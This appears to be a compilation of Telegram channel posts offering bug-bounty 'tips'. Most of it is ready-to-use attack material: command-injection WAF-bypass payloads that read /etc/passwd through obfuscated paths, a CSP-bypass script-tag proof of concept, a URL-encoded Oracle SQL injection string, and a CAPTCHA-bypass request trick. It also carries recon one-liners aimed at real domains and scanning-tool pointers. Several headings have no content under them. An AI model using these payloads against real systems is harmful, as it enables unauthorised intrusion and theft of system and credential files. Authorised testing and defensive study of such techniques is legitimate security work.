ways to bypass json web token controls

#bugbounty
——————
0Day.Today
@LearnExploit
@Tech_Army

RCE Parameters For newbie Bug Bounty Hunters

#bugbounty
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Not only crawling but you can do Subdomain Enumeration using Wayback.

curl --insecure --silent "http://web.archive.org/cdx/search/cdx…" | sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | sed "/@/d" | sed -e 's/\.$//' | sort -u

#bugbounty
——————
0Day.Today
@LearnExploit
@Tech_Army

Bypassing Rate Limit Protection

Github

#bypass #bugbounty
——————
0Day.Today
@LearnExploit
@Tech_Army

Bypass Captcha (Google reCAPTCHA)

1 . Try changing the request method, for example POST to GET
POST / HTTP 1.1
Host: http://target.com
...

_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123

#bugbounty #bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

RCE WAF Bypass

;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?

#bugbounty #RCE #bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

You can bypass CSP on any website that allows http://microsoft.com in a script-src

PoC: <script src=http://microsoft.com/en-us/research/wp-json?_jsonp=alert></script>

This works because of the WordPress CSP bypass our engineer (octagon) found last year :

octagon.net

#BugBounty #bypass #POC
——————‌
0Day.Today
@LearnExploit
@Tech_Army

If you discover an oracle web app, you can use this payload

EHY01%27OR+1%3d1+AND+NVL(ASCII(SUBSTR((SELECT+chr(78)%7c%7cchr(69)%7c%7cchr(84)%7c%7cchr(83)%7c%7cchr(80) )%7c%7cchr(65)%7c%7cchr(82)%7c%7cchr(75)%7c%7cchr(69)%7c%7cchr(82)+FROM+DUAL)%2c9%2c1))%2c0) %3d82--


#BugBounty #Tips
➖➖➖➖➖➖➖➖➖➖
📣 T.me/BugCod3
📣 T.me/LearnExploit

One line for subdomain

$(subfinder -d http://tesla.com| dnsx |httpx); do katana -u "$subdomain" -d 5 -jc -jsl -aff -kf all -mrs 5242880 -timeout 15 -retry 3 -s breadth-first -iqp -cs "$subdomain" -f url -sf url -rl 200 -p 20 -dr -nc -H -silent -fdc 'status_code == 404' ;done

#BugBounty #Tips
➖➖➖➖➖➖➖➖➖➖
📣 T.me/BugCod3
📣 T.me/LearnExploit

bbscope

Scope gathering tool for HackerOne, Bugcrowd, Intigriti, YesWeHack, and Immunefi!

Need to grep all the large scope domains that you've got on your bug bounty platforms? This is the right tool for the job.
What about getting a list of android apps that you are allowed to test? We've got you covered as well.

Reverse engineering god? No worries, you can get a list of binaries to analyze too :)

Installation:
Make sure you've a recent version of the Go compiler installed on your system. Then just run:

GO111MODULE=on go install github.com/sw33tLie/bbscope@latest

Usage:

bbscope (h1|bc|it|ywh|immunefi) -t <YOUR_TOKEN> <other-flags>

Github

⬇️ Download
🔓 LearnExploit

#GO #Grabber #Scope #BugBounty
➖➖➖➖➖➖➖➖➖➖
📣 T.me/BugCod3
📣 T.me/LearnExploit

Scan for [CVE-2023-49785] ChatGPT-Next-Web - SSRF/XSS

⬇️ Download
🔓 BugCod3

#BugBounty #Nuclei #Templates
➖➖➖➖➖➖➖➖➖➖
📣 T.me/BugCod3
📣 T.me/LearnExploit